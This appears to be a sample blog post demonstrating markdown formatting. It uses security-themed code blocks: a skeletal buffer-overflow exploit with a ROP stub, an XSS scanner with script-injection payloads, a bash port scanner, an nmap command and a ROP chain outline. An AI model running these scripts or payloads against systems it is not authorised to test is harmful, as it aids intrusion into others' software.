Complete Markdown Guide for Technical Writing
Complete Markdown Guide for Technical Writing
This guide demonstrates all the markdown features you can use in your blog posts, including syntax highlighting, tables, lists, and more.
Headings
You can create headings from H1 to H6:
H1 Heading
H2 Heading
H3 Heading
H4 Heading
H5 Heading
H6 Heading
Text Formatting
You can make text bold, italic, bold and italic, strikethrough, or use inline code.
Lists
Unordered Lists
- First item
- Second item
- Third item
- Nested item 1
- Nested item 2
- Deeply nested item
Ordered Lists
- First step
- Second step
- Third step
- Sub-step A
- Sub-step B
Task Lists
- Completed task
- Incomplete task
- Another task to do
Code Blocks
Python Example
# exploit.py - Simple buffer overflow exploit
import socket
import struct
def create_payload(target_ip, target_port):
# Create ROP chain
rop_chain = b""
rop_chain += struct.pack("<Q", 0x00000000004011db) # pop rdi; ret
rop_chain += struct.pack("<Q", 0x0000000000404060) # @ .data
# Build exploit buffer
buffer = b"A" * 512
buffer += rop_chain
return buffer
def exploit(target_ip, target_port):
payload = create_payload(target_ip, target_port)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
print(f"[+] Exploit sent to {target_ip}:{target_port}")
s.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
exploit("192.168.1.100", 9999)
JavaScript Example
// xss-scanner.js - Simple XSS vulnerability scanner
const axios = require('axios');
class XSSScanner {
constructor(targetUrl) {
this.targetUrl = targetUrl;
this.payloads = [
'<script>alert("XSS")</script>',
'"><script>alert(String.fromCharCode(88,83,83))</script>',
'<img src=x onerror=alert("XSS")>',
'<svg/onload=alert("XSS")>'
];
}
async scan() {
console.log(`[*] Scanning ${this.targetUrl} for XSS vulnerabilities...`);
for (const payload of this.payloads) {
try {
const response = await axios.get(this.targetUrl, {
params: { q: payload }
});
if (response.data.includes(payload)) {
console.log(`[!] Potential XSS found with payload: ${payload}`);
}
} catch (error) {
console.error(`[-] Error testing payload: ${error.message}`);
}
}
}
}
const scanner = new XSSScanner('https://example.com/search');
scanner.scan();
Bash Script
#!/bin/bash
# port-scanner.sh - Simple port scanner
TARGET=$1
START_PORT=$2
END_PORT=$3
if [ -z "$TARGET" ] || [ -z "$START_PORT" ] || [ -z "$END_PORT" ]; then
echo "Usage: $0 <target> <start_port> <end_port>"
exit 1
fi
echo "[*] Scanning $TARGET from port $START_PORT to $END_PORT"
for port in $(seq $START_PORT $END_PORT); do
timeout 1 bash -c "echo >/dev/tcp/$TARGET/$port" 2>/dev/null &&
echo "[+] Port $port is open"
done
echo "[*] Scan complete"
SQL Example
-- Create users table with security considerations
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username VARCHAR(50) UNIQUE NOT NULL,
email VARCHAR(100) UNIQUE NOT NULL,
password_hash VARCHAR(255) NOT NULL,
salt VARCHAR(32) NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
last_login TIMESTAMP,
failed_login_attempts INT DEFAULT 0,
account_locked BOOLEAN DEFAULT FALSE
);
-- Create audit log table
CREATE TABLE audit_log (
id SERIAL PRIMARY KEY,
user_id INT REFERENCES users(id),
action VARCHAR(50) NOT NULL,
ip_address INET,
user_agent TEXT,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
-- Insert sample user (never store plain passwords!)
INSERT INTO users (username, email, password_hash, salt)
VALUES ('admin', 'admin@example.com',
'$2b$12$LQv3c1yqBWVHxkd0LHAkCOYz6TtxMQJqhN8/LewY5GyYzpLhJ6Tiu',
'random_salt_here');
Blockquotes
This is a blockquote. It can be used for important notes or citations.
You can have multiple paragraphs in a blockquote.
Nested blockquotes are also possible.
Links and Images
Tables
| Tool | Category | Purpose | Difficulty |
|---|---|---|---|
| Nmap | Reconnaissance | Port scanning | Beginner |
| Metasploit | Exploitation | Exploit framework | Intermediate |
| Burp Suite | Web Security | Web app testing | Intermediate |
| Wireshark | Analysis | Packet analysis | Advanced |
| Ghidra | Reverse Engineering | Binary analysis | Advanced |
Horizontal Rules
You can create horizontal rules with three or more hyphens, asterisks, or underscores:
Inline Code and Commands
Use nmap -sV -sC target.com to scan a target with version detection and default scripts.
The sudo command allows you to run commands with elevated privileges.
Advanced: HTML in Markdown
Click to expand: Advanced Exploitation Techniques
Return-Oriented Programming (ROP)
ROP is a technique used to bypass DEP/NX protections by chaining together existing code snippets (gadgets) that end in a return instruction.
Key Concepts:
- Gadgets: Small instruction sequences ending in
ret - ROP Chain: Series of gadget addresses on the stack
- Bypasses: DEP, NX, and sometimes ASLR
Example ROP Chain:
pop rdi; ret # Load first argument
pop rsi; ret # Load second argument
pop rdx; ret # Load third argument
call system # Execute system call
Mathematical Expressions
While standard markdown doesn’t support math, you can describe algorithms:
Time Complexity: O(n log n) Space Complexity: O(n)
Conclusion
This guide covers all the essential markdown features for technical writing. Use these formatting options to create clear, well-structured documentation and blog posts.
Quick Reference
- Bold:
**text**or__text__ - Italic:
*text*or_text_ - Code:
`code` - Link:
[text](url) - Image:
 - Heading:
# H1,## H2, etc. - List:
-or1. - Blockquote:
> - Code Block:
```language
Callouts (Notes, Tips, Warnings)
You can add visually styled callouts in Markdown using blockquotes with the GitHub-style marker notation:
This is a general note with extra context for the reader.
Helpful tip to guide the user toward a best practice.
Important information that the reader should not skip.
Be careful—something can go wrong if you ignore this.
This is risky; proceed with caution.
You can optionally provide a custom title right after the marker:
Custom title here The title line above will replace the default “Note” label.
Alternatively, put content on the same line using a colon style:
Same-line content also works when you prefer shorter blocks.